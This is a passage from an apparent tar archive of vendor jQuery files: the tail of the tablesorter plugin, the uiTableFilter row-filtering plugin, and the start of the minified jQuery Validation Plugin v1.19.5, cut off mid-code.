ts.defaults[setting][setting2]; if ( $.inArray( setting, ignore ) < 0 && typ === 'undefined' ) { console.warn( 'Tablesorter Warning! "table.config.' + setting + '.' + setting2 + '" option not recognized' ); } } } } if ( ts.debug(c, 'core') ) { console.log( 'validate options time:' + ts.benchmark( timer ) ); } } }, // restore headers restoreHeaders : function( table ) { var index, $cell, c = $( table )[ 0 ].config, $headers = c.$table.find( c.selectorHeaders ), len = $headers.length; // don't use c.$headers here in case header cells were swapped for ( index = 0; index < len; index++ ) { $cell = $headers.eq( index ); // only restore header cells if it is wrapped // because this is also used by the updateAll method if ( $cell.find( '.' + ts.css.headerIn ).length ) { $cell.html( c.headerContent[ index ] ); } } }, destroy : function( table, removeClasses, callback ) { table = $( table )[ 0 ]; if ( !table.hasInitialized ) { return; } // remove all widgets ts.removeWidget( table, true, false ); var events, $t = $( table ), c = table.config, $h = $t.find( 'thead:first' ), $r = $h.find( 'tr.' + ts.css.headerRow ).removeClass( ts.css.headerRow + ' ' + c.cssHeaderRow ), $f = $t.find( 'tfoot:first > tr' ).children( 'th, td' ); if ( removeClasses === false && $.inArray( 'uitheme', c.widgets ) >= 0 ) { // reapply uitheme classes, in case we want to maintain appearance $t.triggerHandler( 'applyWidgetId', [ 'uitheme' ] ); $t.triggerHandler( 'applyWidgetId', [ 'zebra' ] ); } // remove widget added rows, just in case $h.find( 'tr' ).not( $r ).remove(); // disable tablesorter - not using .unbind( namespace ) because namespacing was // added in jQuery v1.4.3 - see http://api.jquery.com/event.namespace/ events = 'sortReset update updateRows updateAll updateHeaders updateCell addRows updateComplete sorton ' + 'appendCache updateCache applyWidgetId applyWidgets refreshWidgets removeWidget destroy mouseup mouseleave ' + 'keypress sortBegin sortEnd resetToLoadState '.split( ' ' ) .join( c.namespace + ' ' ); $t .removeData( 'tablesorter' ) .unbind( events.replace( ts.regex.spaces, ' ' ) ); c.$headers .add( $f ) .removeClass( [ ts.css.header, c.cssHeader, c.cssAsc, c.cssDesc, ts.css.sortAsc, ts.css.sortDesc, ts.css.sortNone ].join( ' ' ) ) .removeAttr( 'data-column' ) .removeAttr( 'aria-label' ) .attr( 'aria-disabled', 'true' ); $r .find( c.selectorSort ) .unbind( ( 'mousedown mouseup keypress '.split( ' ' ).join( c.namespace + ' ' ) ).replace( ts.regex.spaces, ' ' ) ); ts.restoreHeaders( table ); $t.toggleClass( ts.css.table + ' ' + c.tableClass + ' tablesorter-' + c.theme, removeClasses === false ); $t.removeClass(c.namespace.slice(1)); // clear flag in case the plugin is initialized again table.hasInitialized = false; delete table.config.cache; if ( typeof callback === 'function' ) { callback( table ); } if ( ts.debug(c, 'core') ) { console.log( 'tablesorter has been removed' ); } } }; $.fn.tablesorter = function( settings ) { return this.each( function() { var table = this, // merge & extend config options c = $.extend( true, {}, ts.defaults, settings, ts.instanceMethods ); // save initial settings c.originalSettings = settings; // create a table from data (build table widget) if ( !table.hasInitialized && ts.buildTable && this.nodeName !== 'TABLE' ) { // return the table (in case the original target is the table's container) ts.buildTable( table, c ); } else { ts.setup( table, c ); } }); }; // set up debug logs if ( !( window.console && window.console.log ) ) { // access $.tablesorter.logs for browsers that don't have a console... ts.logs = []; /*jshint -W020 */ console = {}; console.log = console.warn = console.error = console.table = function() { var arg = arguments.length > 1 ? arguments : arguments[0]; ts.logs[ ts.logs.length ] = { date: Date.now(), log: arg }; }; } // add default parsers ts.addParser({ id : 'no-parser', is : function() { return false; }, format : function() { return ''; }, type : 'text' }); ts.addParser({ id : 'text', is : function() { return true; }, format : function( str, table ) { var c = table.config; if ( str ) { str = $.trim( c.ignoreCase ? str.toLocaleLowerCase() : str ); str = c.sortLocaleCompare ? ts.replaceAccents( str ) : str; } return str; }, type : 'text' }); ts.regex.nondigit = /[^\w,. \-()]/g; ts.addParser({ id : 'digit', is : function( str ) { return ts.isDigit( str ); }, format : function( str, table ) { var num = ts.formatFloat( ( str || '' ).replace( ts.regex.nondigit, '' ), table ); return str && typeof num === 'number' ? num : str ? $.trim( str && table.config.ignoreCase ? str.toLocaleLowerCase() : str ) : str; }, type : 'numeric' }); ts.regex.currencyReplace = /[+\-,. ]/g; ts.regex.currencyTest = /^\(?\d+[\u00a3$\u20ac\u00a4\u00a5\u00a2?.]|[\u00a3$\u20ac\u00a4\u00a5\u00a2?.]\d+\)?$/; ts.addParser({ id : 'currency', is : function( str ) { str = ( str || '' ).replace( ts.regex.currencyReplace, '' ); // test for £$€¤¥¢ return ts.regex.currencyTest.test( str ); }, format : function( str, table ) { var num = ts.formatFloat( ( str || '' ).replace( ts.regex.nondigit, '' ), table ); return str && typeof num === 'number' ? num : str ? $.trim( str && table.config.ignoreCase ? str.toLocaleLowerCase() : str ) : str; }, type : 'numeric' }); // too many protocols to add them all https://en.wikipedia.org/wiki/URI_scheme // now, this regex can be updated before initialization ts.regex.urlProtocolTest = /^(https?|ftp|file):\/\//; ts.regex.urlProtocolReplace = /(https?|ftp|file):\/\/(www\.)?/; ts.addParser({ id : 'url', is : function( str ) { return ts.regex.urlProtocolTest.test( str ); }, format : function( str ) { return str ? $.trim( str.replace( ts.regex.urlProtocolReplace, '' ) ) : str; }, type : 'text' }); ts.regex.dash = /-/g; ts.regex.isoDate = /^\d{4}[\/\-]\d{1,2}[\/\-]\d{1,2}/; ts.addParser({ id : 'isoDate', is : function( str ) { return ts.regex.isoDate.test( str ); }, format : function( str ) { var date = str ? new Date( str.replace( ts.regex.dash, '/' ) ) : str; return date instanceof Date && isFinite( date ) ? date.getTime() : str; }, type : 'numeric' }); ts.regex.percent = /%/g; ts.regex.percentTest = /(\d\s*?%|%\s*?\d)/; ts.addParser({ id : 'percent', is : function( str ) { return ts.regex.percentTest.test( str ) && str.length < 15; }, format : function( str, table ) { return str ? ts.formatFloat( str.replace( ts.regex.percent, '' ), table ) : str; }, type : 'numeric' }); // added image parser to core v2.17.9 ts.addParser({ id : 'image', is : function( str, table, node, $node ) { return $node.find( 'img' ).length > 0; }, format : function( str, table, cell ) { return $( cell ).find( 'img' ).attr( table.config.imgAttr || 'alt' ) || str; }, parsed : true, // filter widget flag type : 'text' }); ts.regex.dateReplace = /(\S)([AP]M)$/i; // used by usLongDate & time parser ts.regex.usLongDateTest1 = /^[A-Z]{3,10}\.?\s+\d{1,2},?\s+(\d{4})(\s+\d{1,2}:\d{2}(:\d{2})?(\s+[AP]M)?)?$/i; ts.regex.usLongDateTest2 = /^\d{1,2}\s+[A-Z]{3,10}\s+\d{4}/i; ts.addParser({ id : 'usLongDate', is : function( str ) { // two digit years are not allowed cross-browser // Jan 01, 2013 12:34:56 PM or 01 Jan 2013 return ts.regex.usLongDateTest1.test( str ) || ts.regex.usLongDateTest2.test( str ); }, format : function( str ) { var date = str ? new Date( str.replace( ts.regex.dateReplace, '$1 $2' ) ) : str; return date instanceof Date && isFinite( date ) ? date.getTime() : str; }, type : 'numeric' }); // testing for ##-##-#### or ####-##-##, so it's not perfect; time can be included ts.regex.shortDateTest = /(^\d{1,2}[\/\s]\d{1,2}[\/\s]\d{4})|(^\d{4}[\/\s]\d{1,2}[\/\s]\d{1,2})/; // escaped "-" because JSHint in Firefox was showing it as an error ts.regex.shortDateReplace = /[\-.,]/g; // XXY covers MDY & DMY formats ts.regex.shortDateXXY = /(\d{1,2})[\/\s](\d{1,2})[\/\s](\d{4})/; ts.regex.shortDateYMD = /(\d{4})[\/\s](\d{1,2})[\/\s](\d{1,2})/; ts.convertFormat = function( dateString, format ) { dateString = ( dateString || '' ) .replace( ts.regex.spaces, ' ' ) .replace( ts.regex.shortDateReplace, '/' ); if ( format === 'mmddyyyy' ) { dateString = dateString.replace( ts.regex.shortDateXXY, '$3/$1/$2' ); } else if ( format === 'ddmmyyyy' ) { dateString = dateString.replace( ts.regex.shortDateXXY, '$3/$2/$1' ); } else if ( format === 'yyyymmdd' ) { dateString = dateString.replace( ts.regex.shortDateYMD, '$1/$2/$3' ); } var date = new Date( dateString ); return date instanceof Date && isFinite( date ) ? date.getTime() : ''; }; ts.addParser({ id : 'shortDate', // 'mmddyyyy', 'ddmmyyyy' or 'yyyymmdd' is : function( str ) { str = ( str || '' ).replace( ts.regex.spaces, ' ' ).replace( ts.regex.shortDateReplace, '/' ); return ts.regex.shortDateTest.test( str ); }, format : function( str, table, cell, cellIndex ) { if ( str ) { var c = table.config, $header = c.$headerIndexed[ cellIndex ], format = $header.length && $header.data( 'dateFormat' ) || ts.getData( $header, ts.getColumnData( table, c.headers, cellIndex ), 'dateFormat' ) || c.dateFormat; // save format because getData can be slow... if ( $header.length ) { $header.data( 'dateFormat', format ); } return ts.convertFormat( str, format ) || str; } return str; }, type : 'numeric' }); // match 24 hour time & 12 hours time + am/pm - see http://regexr.com/3c3tk ts.regex.timeTest = /^(0?[1-9]|1[0-2]):([0-5]\d)(\s[AP]M)$|^((?:[01]\d|[2][0-4]):[0-5]\d)$/i; ts.regex.timeMatch = /(0?[1-9]|1[0-2]):([0-5]\d)(\s[AP]M)|((?:[01]\d|[2][0-4]):[0-5]\d)/i; ts.addParser({ id : 'time', is : function( str ) { return ts.regex.timeTest.test( str ); }, format : function( str ) { // isolate time... ignore month, day and year var temp, timePart = ( str || '' ).match( ts.regex.timeMatch ), orig = new Date( str ), // no time component? default to 00:00 by leaving it out, but only if str is defined time = str && ( timePart !== null ? timePart[ 0 ] : '00:00 AM' ), date = time ? new Date( '2000/01/01 ' + time.replace( ts.regex.dateReplace, '$1 $2' ) ) : time; if ( date instanceof Date && isFinite( date ) ) { temp = orig instanceof Date && isFinite( orig ) ? orig.getTime() : 0; // if original string was a valid date, add it to the decimal so the column sorts in some kind of order // luckily new Date() ignores the decimals return temp ? parseFloat( date.getTime() + '.' + orig.getTime() ) : date.getTime(); } return str; }, type : 'numeric' }); ts.addParser({ id : 'metadata', is : function() { return false; }, format : function( str, table, cell ) { var c = table.config, p = ( !c.parserMetadataName ) ? 'sortValue' : c.parserMetadataName; return $( cell ).metadata()[ p ]; }, type : 'numeric' }); /* ██████ ██████ █████▄ █████▄ ▄████▄ ▄█▀ ██▄▄ ██▄▄██ ██▄▄██ ██▄▄██ ▄█▀ ██▀▀ ██▀▀██ ██▀▀█ ██▀▀██ ██████ ██████ █████▀ ██ ██ ██ ██ */ // add default widgets ts.addWidget({ id : 'zebra', priority : 90, format : function( table, c, wo ) { var $visibleRows, $row, count, isEven, tbodyIndex, rowIndex, len, child = new RegExp( c.cssChildRow, 'i' ), $tbodies = c.$tbodies.add( $( c.namespace + '_extra_table' ).children( 'tbody:not(.' + c.cssInfoBlock + ')' ) ); for ( tbodyIndex = 0; tbodyIndex < $tbodies.length; tbodyIndex++ ) { // loop through the visible rows count = 0; $visibleRows = $tbodies.eq( tbodyIndex ).children( 'tr:visible' ).not( c.selectorRemove ); len = $visibleRows.length; for ( rowIndex = 0; rowIndex < len; rowIndex++ ) { $row = $visibleRows.eq( rowIndex ); // style child rows the same way the parent row was styled if ( !child.test( $row[ 0 ].className ) ) { count++; } isEven = ( count % 2 === 0 ); $row .removeClass( wo.zebra[ isEven ? 1 : 0 ] ) .addClass( wo.zebra[ isEven ? 0 : 1 ] ); } } }, remove : function( table, c, wo, refreshing ) { if ( refreshing ) { return; } var tbodyIndex, $tbody, $tbodies = c.$tbodies, toRemove = ( wo.zebra || [ 'even', 'odd' ] ).join( ' ' ); for ( tbodyIndex = 0; tbodyIndex < $tbodies.length; tbodyIndex++ ) { $tbody = ts.processTbody( table, $tbodies.eq( tbodyIndex ), true ); // remove tbody $tbody.children().removeClass( toRemove ); ts.processTbody( table, $tbody, false ); // restore tbody } } }); })( jQuery ); return jQuery.tablesorter;})); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery.uitablefilter.js���������������������������������������������������������������0000666�����������������00000006103�15172447206�0014103 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * Copyright (c) 2008 Greg Weber greg at gregweber.info * Dual licensed under the MIT and GPLv2 licenses just as jQuery is: * http://jquery.org/license * * Multi-columns support by natinusala * * documentation at http://gregweber.info/projects/uitablefilter * * allows table rows to be filtered (made invisible) * <code> * t = $('table') * $.uiTableFilter( t, phrase ) * </code> * arguments: * jQuery object containing table rows * phrase to search for * optional arguments: * array of columns to limit search too (the column title in the table header) * ifHidden - callback to execute if one or more elements was hidden * tdElem - specific element within <td> to be considered for searching or to limit search to, * default:whole <td>. useful if <td> has more than one elements inside but want to * limit search within only some of elements or only visible elements. eg tdElem can be "td span" */ (function ($) { $.uiTableFilter = function (jq, phrase, column, ifHidden, tdElem) { if (!tdElem) tdElem = "td"; var new_hidden = false; if (this.last_phrase === phrase) return false; var phrase_length = phrase.length; var words = phrase.toLowerCase().split(" "); // these function pointers may change var matches = function (elem) { elem.show() } var noMatch = function (elem) { elem.hide(); new_hidden = true } var getText = function (elem) { return elem.text() } if (column) { if (!$.isArray(column)) { column = new Array(column); } var index = new Array(); jq.find("thead > tr:last > th").each(function (i) { for (var j = 0; j < column.length; j++) { if ($.trim($(this).text()) == column[j]) { index[j] = i; break; } } }); getText = function (elem) { var selector = ""; for (var i = 0; i < index.length; i++) { if (i != 0) { selector += ","; } selector += tdElem + ":eq(" + index[i] + ")"; } return $(elem.find((selector))).text(); } } // if added one letter to last time, // just check newest word and only need to hide if ((words.size > 1) && (phrase.substr(0, phrase_length - 1) === this.last_phrase)) { if (phrase[-1] === " ") { this.last_phrase = phrase; return false; } var words = words[-1]; // just search for the newest word // only hide visible rows matches = function (elem) { ; } var elems = jq.find("tbody:first > tr:visible") } else { new_hidden = true; var elems = jq.find("tbody:first > tr") } elems.each(function () { var elem = $(this); $.uiTableFilter.has_words(getText(elem), words, false) ? matches(elem) : noMatch(elem); }); last_phrase = phrase; if (ifHidden && new_hidden) ifHidden(); return jq; }; // caching for speedup $.uiTableFilter.last_phrase = "" // not jQuery dependent // "" [""] -> Boolean // "" [""] Boolean -> Boolean $.uiTableFilter.has_words = function (str, words, caseSensitive) { var text = caseSensitive ? str : str.toLowerCase(); for (var i = 0; i < words.length; i++) { if (text.indexOf(words[i]) === -1) return false; } return true; } })(jQuery); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery.validate.min.js����������������������������������������������������������������0000666�����������������00000060031�15172447206�0013623 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery Validation Plugin - v1.19.5 - 7/1/2022 * https://jqueryvalidation.org/ * Copyright (c) 2022 Jörn Zaefferer; Licensed MIT */ !function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){a.extend(a.fn,{validate:function(b){if(!this.length)return void(b&&b.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing."));var c=a.data(this[0],"validator");return c?c:(this.attr("novalidate","novalidate"),c=new a.validator(b,this[0]),a.data(this[0],"validator",c),c.settings.onsubmit&&(this.on("click.validate",":submit",function(b){c.submitButton=b.currentTarget,a(this).hasClass("cancel")&&(c.cancelSubmit=!0),void 0!==a(this).attr("formnovalidate")&&(c.cancelSubmit=!0)}),this.on("submit.validate",function(b){function d(){var d,e;return c.submitButton&&(c.settings.submitHandler||c.formSubmitted)&&(d=a("<input type='hidden'/>").attr("name",c.submitButton.name).val(a(c.submitButton).val()).appendTo(c.currentForm)),!(c.settings.submitHandler&&!c.settings.debug)||(e=c.settings.submitHandler.call(c,c.currentForm,b),d&&d.remove(),void 0!==e&&e)}return c.settings.debug&&b.preventDefault(),c.cancelSubmit?(c.cancelSubmit=!1,d()):c.form()?c.pendingRequest?(c.formSubmitted=!0,!1):d():(c.focusInvalid(),!1)})),c)},valid:function(){var b,c,d;return a(this[0]).is("form")?b=this.validate().form():(d=[],b=!0,c=a(this[0].form).validate(),this.each(function(){b=c.element(this)&&b,b||(d=d.concat(c.errorList))}),c.errorList=d),b},rules:function(b,c){var d,e,f,g,h,i,j=this[0],k="undefined"!=typeof this.attr("contenteditable")&&"false"!==this.attr("contenteditable");if(null!=j&&(!j.form&&k&&(j.form=this.closest("form")[0],j.name=this.attr("name")),null!=j.form)){if(b)switch(d=a.data(j.form,"validator").settings,e=d.rules,f=a.validator.staticRules(j),b){case"add":a.extend(f,a.validator.normalizeRule(c)),delete f.messages,e[j.name]=f,c.messages&&(d.messages[j.name]=a.extend(d.messages[j.name],c.messages));break;case"remove":return c?(i={},a.each(c.split(/\s/),function(a,b){i[b]=f[b],delete f[b]}),i):(delete e[j.name],f)}return g=a.validator.normalizeRules(a.extend({},a.validator.classRules(j),a.validator.attributeRules(j),a.validator.dataRules(j),a.validator.staticRules(j)),j),g.required&&(h=g.required,delete g.required,g=a.extend({required:h},g)),g.remote&&(h=g.remote,delete g.remote,g=a.extend(g,{remote:h})),g}}});var b=function(a){return a.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")};a.extend(a.expr.pseudos||a.expr[":"],{blank:function(c){return!b(""+a(c).val())},filled:function(c){var d=a(c).val();return null!==d&&!!b(""+d)},unchecked:function(b){return!a(b).prop("checked")}}),a.validator=function(b,c){this.settings=a.extend(!0,{},a.validator.defaults,b),this.currentForm=c,this.init()},a.validator.format=function(b,c){return 1===arguments.length?function(){var c=a.makeArray(arguments);return c.unshift(b),a.validator.format.apply(this,c)}:void 0===c?b:(arguments.length>2&&c.constructor!==Array&&(c=a.makeArray(arguments).slice(1)),c.constructor!==Array&&(c=[c]),a.each(c,function(a,c){b=b.replace(new RegExp("\\{"+a+"\\}","g"),function(){return c})}),b)},a.extend(a.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",pendingClass:"pending",validClass:"valid",errorElement:"label",focusCleanup:!1,focusInvalid:!0,errorContainer:a([]),errorLabelContainer:a([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(a){this.lastActive=a,this.settings.focusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,a,this.settings.errorClass,this.settings.validClass),this.hideThese(this.errorsFor(a)))},onfocusout:function(a){this.checkable(a)||!(a.name in this.submitted)&&this.optional(a)||this.element(a)},onkeyup:function(b,c){var d=[16,17,18,20,35,36,37,38,39,40,45,144,225];9===c.which&&""===this.elementValue(b)||a.inArray(c.keyCode,d)!==-1||(b.name in this.submitted||b.name in this.invalid)&&this.element(b)},onclick:function(a){a.name in this.submitted?this.element(a):a.parentNode.name in this.submitted&&this.element(a.parentNode)},highlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).addClass(c).removeClass(d):a(b).addClass(c).removeClass(d)},unhighlight:function(b,c,d){"radio"===b.type?this.findByName(b.name).removeClass(c).addClass(d):a(b).removeClass(c).addClass(d)}},setDefaults:function(b){a.extend(a.validator.defaults,b)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits.",equalTo:"Please enter the same value again.",maxlength:a.validator.format("Please enter no more than {0} characters."),minlength:a.validator.format("Please enter at least {0} characters."),rangelength:a.validator.format("Please enter a value between {0} and {1} characters long."),range:a.validator.format("Please enter a value between {0} and {1}."),max:a.validator.format("Please enter a value less than or equal to {0}."),min:a.validator.format("Please enter a value greater than or equal to {0}."),step:a.validator.format("Please enter a multiple of {0}.")},autoCreateRanges:!1,prototype:{init:function(){function b(b){var c="undefined"!=typeof a(this).attr("contenteditable")&&"false"!==a(this).attr("contenteditable");if(!this.form&&c&&(this.form=a(this).closest("form")[0],this.name=a(this).attr("name")),d===this.form){var e=a.data(this.form,"validator"),f="on"+b.type.replace(/^validate/,""),g=e.settings;g[f]&&!a(this).is(g.ignore)&&g[f].call(e,this,b)}}this.labelContainer=a(this.settings.errorLabelContainer),this.errorContext=this.labelContainer.length&&this.labelContainer||a(this.currentForm),this.containers=a(this.settings.errorContainer).add(this.settings.errorLabelContainer),this.submitted={},this.valueCache={},this.pendingRequest=0,this.pending={},this.invalid={},this.reset();var c,d=this.currentForm,e=this.groups={};a.each(this.settings.groups,function(b,c){"string"==typeof c&&(c=c.split(/\s/)),a.each(c,function(a,c){e[c]=b})}),c=this.settings.rules,a.each(c,function(b,d){c[b]=a.validator.normalizeRule(d)}),a(this.currentForm).on("focusin.validate focusout.validate keyup.validate",":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], [type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], [type='radio'], [type='checkbox'], [contenteditable], [type='button']",b).on("click.validate","select, option, [type='radio'], [type='checkbox']",b),this.settings.invalidHandler&&a(this.currentForm).on("invalid-form.validate",this.settings.invalidHandler)},form:function(){return this.checkForm(),a.extend(this.submitted,this.errorMap),this.invalid=a.extend({},this.errorMap),this.valid()||a(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var a=0,b=this.currentElements=this.elements();b[a];a++)this.check(b[a]);return this.valid()},element:function(b){var c,d,e=this.clean(b),f=this.validationTargetFor(e),g=this,h=!0;return void 0===f?delete this.invalid[e.name]:(this.prepareElement(f),this.currentElements=a(f),d=this.groups[f.name],d&&a.each(this.groups,function(a,b){b===d&&a!==f.name&&(e=g.validationTargetFor(g.clean(g.findByName(a))),e&&e.name in g.invalid&&(g.currentElements.push(e),h=g.check(e)&&h))}),c=this.check(f)!==!1,h=h&&c,c?this.invalid[f.name]=!1:this.invalid[f.name]=!0,this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),a(b).attr("aria-invalid",!c)),h},showErrors:function(b){if(b){var c=this;a.extend(this.errorMap,b),this.errorList=a.map(this.errorMap,function(a,b){return{message:a,element:c.findByName(b)[0]}}),this.successList=a.grep(this.successList,function(a){return!(a.name in b)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){a.fn.resetForm&&a(this.currentForm).resetForm(),this.invalid={},this.submitted={},this.prepareForm(),this.hideErrors();var b=this.elements().removeData("previousValue").removeAttr("aria-invalid");this.resetElements(b)},resetElements:function(a){var b;if(this.settings.unhighlight)for(b=0;a[b];b++)this.settings.unhighlight.call(this,a[b],this.settings.errorClass,""),this.findByName(a[b].name).removeClass(this.settings.validClass);else a.removeClass(this.settings.errorClass).removeClass(this.settings.validClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(a){var b,c=0;for(b in a)void 0!==a[b]&&null!==a[b]&&a[b]!==!1&&c++;return c},hideErrors:function(){this.hideThese(this.toHide)},hideThese:function(a){a.not(this.containers).text(""),this.addWrapper(a).hide()},valid:function(){return 0===this.size()},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{a(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").trigger("focus").trigger("focusin")}catch(b){}},findLastActive:function(){var b=this.lastActive;return b&&1===a.grep(this.errorList,function(a){return a.element.name===b.name}).length&&b},elements:function(){var b=this,c={};return a(this.currentForm).find("input, select, textarea, [contenteditable]").not(":submit, :reset, :image, :disabled").not(this.settings.ignore).filter(function(){var d=this.name||a(this).attr("name"),e="undefined"!=typeof a(this).attr("contenteditable")&&"false"!==a(this).attr("contenteditable");return!d&&b.settings.debug&&window.console&&console.error("%o has no name assigned",this),e&&(this.form=a(this).closest("form")[0],this.name=d),this.form===b.currentForm&&(!(d in c||!b.objectLength(a(this).rules()))&&(c[d]=!0,!0))})},clean:function(b){return a(b)[0]},errors:function(){var b=this.settings.errorClass.split(" ").join(".");return a(this.settings.errorElement+"."+b,this.errorContext)},resetInternals:function(){this.successList=[],this.errorList=[],this.errorMap={},this.toShow=a([]),this.toHide=a([])},reset:function(){this.resetInternals(),this.currentElements=a([])},prepareForm:function(){this.reset(),this.toHide=this.errors().add(this.containers)},prepareElement:function(a){this.reset(),this.toHide=this.errorsFor(a)},elementValue:function(b){var c,d,e=a(b),f=b.type,g="undefined"!=typeof e.attr("contenteditable")&&"false"!==e.attr("contenteditable");return"radio"===f||"checkbox"===f?this.findByName(b.name).filter(":checked").val():"number"===f&&"undefined"!=typeof b.validity?b.validity.badInput?"NaN":e.val():(c=g?e.text():e.val(),"file"===f?"C:\\fakepath\\"===c.substr(0,12)?c.substr(12):(d=c.lastIndexOf("/"),d>=0?c.substr(d+1):(d=c.lastIndexOf("\\"),d>=0?c.substr(d+1):c)):"string"==typeof c?c.replace(/\r/g,""):c)},check:function(b){b=this.validationTargetFor(this.clean(b));var c,d,e,f,g=a(b).rules(),h=a.map(g,function(a,b){return b}).length,i=!1,j=this.elementValue(b);"function"==typeof g.normalizer?f=g.normalizer:"function"==typeof this.settings.normalizer&&(f=this.settings.normalizer),f&&(j=f.call(b,j),delete g.normalizer);for(d in g){e={method:d,parameters:g[d]};try{if(c=a.validator.methods[d].call(this,j,b,e.parameters),"dependency-mismatch"===c&&1===h){i=!0;continue}if(i=!1,"pending"===c)return void(this.toHide=this.toHide.not(this.errorsFor(b)));if(!c)return this.formatAndAdd(b,e),!1}catch(k){throw this.settings.debug&&window.console&&console.log("Exception occurred when checking element "+b.id+", check the '"+e.method+"' method.",k),k instanceof TypeError&&(k.message+=". Exception occurred when checking element "+b.id+", check the '"+e.method+"' method."),k}}if(!i)return this.objectLength(g)&&this.successList.push(b),!0},customDataMessage:function(b,c){return a(b).data("msg"+c.charAt(0).toUpperCase()+c.substring(1).toLowerCase())||a(b).data("msg")},customMessage:function(a,b){var c=this.settings.messages[a];return c&&(c.constructor===String?c:c[b])},findDefined:function(){for(var a=0;a<arguments.length;a++)if(void 0!==arguments[a])return arguments[a]},defaultMessage:function(b,c){"string"==typeof c&&(c={method:c});var d=this.findDefined(this.customMessage(b.name,c.method),this.customDataMessage(b,c.method),!this.settings.ignoreTitle&&b.title||void 0,a.validator.messages[c.method],"<strong>Warning: No message defined for "+b.name+"</strong>"),e=/\$?\{(\d+)\}/g;return"function"==typeof d?d=d.call(this,c.parameters,b):e.test(d)&&(d=a.validator.format(d.replace(e,"{$1}"),c.parameters)),d},formatAndAdd:function(a,b){var c=this.defaultMessage(a,b);this.errorList.push({message:c,element:a,method:b.method}),this.errorMap[a.name]=c,this.submitted[a.name]=c},addWrapper:function(a){return this.settings.wrapper&&(a=a.add(a.parent(this.settings.wrapper))),a},defaultShowErrors:function(){var a,b,c;for(a=0;this.errorList[a];a++)c=this.errorList[a],this.settings.highlight&&this.settings.highlight.call(this,c.element,this.settings.errorClass,this.settings.validClass),this.showLabel(c.element,c.message);if(this.errorList.length&&(this.toShow=this.toShow.add(this.containers)),this.settings.success)for(a=0;this.successList[a];a++)this.showLabel(this.successList[a]);if(this.settings.unhighlight)for(a=0,b=this.validElements();b[a];a++)this.settings.unhighlight.call(this,b[a],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow),this.hideErrors(),this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return a(this.errorList).map(function(){return this.element})},showLabel:function(b,c){var d,e,f,g,h=this.errorsFor(b),i=this.idOrName(b),j=a(b).attr("aria-describedby");h.length?(h.removeClass(this.settings.validClass).addClass(this.settings.errorClass),h.html(c)):(h=a("<"+this.settings.errorElement+">").attr("id",i+"-error").addClass(this.settings.errorClass).html(c||""),d=h,this.settings.wrapper&&(d=h.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.length?this.labelContainer.append(d):this.settings.errorPlacement?this.settings.errorPlacement.call(this,d,a(b)):d.insertAfter(b),h.is("label")?h.attr("for",i):0===h.parents("label[for='"+this.escapeCssMeta(i)+"']").length&&(f=h.attr("id"),j?j.match(new RegExp("\\b"+this.escapeCssMeta(f)+"\\b"))||(j+=" "+f):j=f,a(b).attr("aria-describedby",j),e=this.groups[b.name],e&&(g=this,a.each(g.groups,function(b,c){c===e&&a("[name='"+g.escapeCssMeta(b)+"']",g.currentForm).attr("aria-describedby",h.attr("id"))})))),!c&&this.settings.success&&(h.text(""),"string"==typeof this.settings.success?h.addClass(this.settings.success):this.settings.success(h,b)),this.toShow=this.toShow.add(h)},errorsFor:function(b){var c=this.escapeCssMeta(this.idOrName(b)),d=a(b).attr("aria-describedby"),e="label[for='"+c+"'], label[for='"+c+"'] *";return d&&(e=e+", #"+this.escapeCssMeta(d).replace(/\s+/g,", #")),this.errors().filter(e)},escapeCssMeta:function(a){return void 0===a?"":a.replace(/([\\!"#$%&'()*+,./:;<=>?@\[\]^`{|}~])/g,"\\$1")},idOrName:function(a){return this.groups[a.name]||(this.checkable(a)?a.name:a.id||a.name)},validationTargetFor:function(b){return this.checkable(b)&&(b=this.findByName(b.name)),a(b).not(this.settings.ignore)[0]},checkable:function(a){return/radio|checkbox/i.test(a.type)},findByName:function(b){return a(this.currentForm).find("[name='"+this.escapeCssMeta(b)+"']")},getLength:function(b,c){switch(c.nodeName.toLowerCase()){case"select":return a("option:selected",c).length;case"input":if(this.checkable(c))return this.findByName(c.name).filter(":checked").length}return b.length},depend:function(a,b){return!this.dependTypes[typeof a]||this.dependTypes[typeof a](a,b)},dependTypes:{"boolean":function(a){return a},string:function(b,c){return!!a(b,c.form).length},"function":function(a,b){return a(b)}},optional:function(b){var 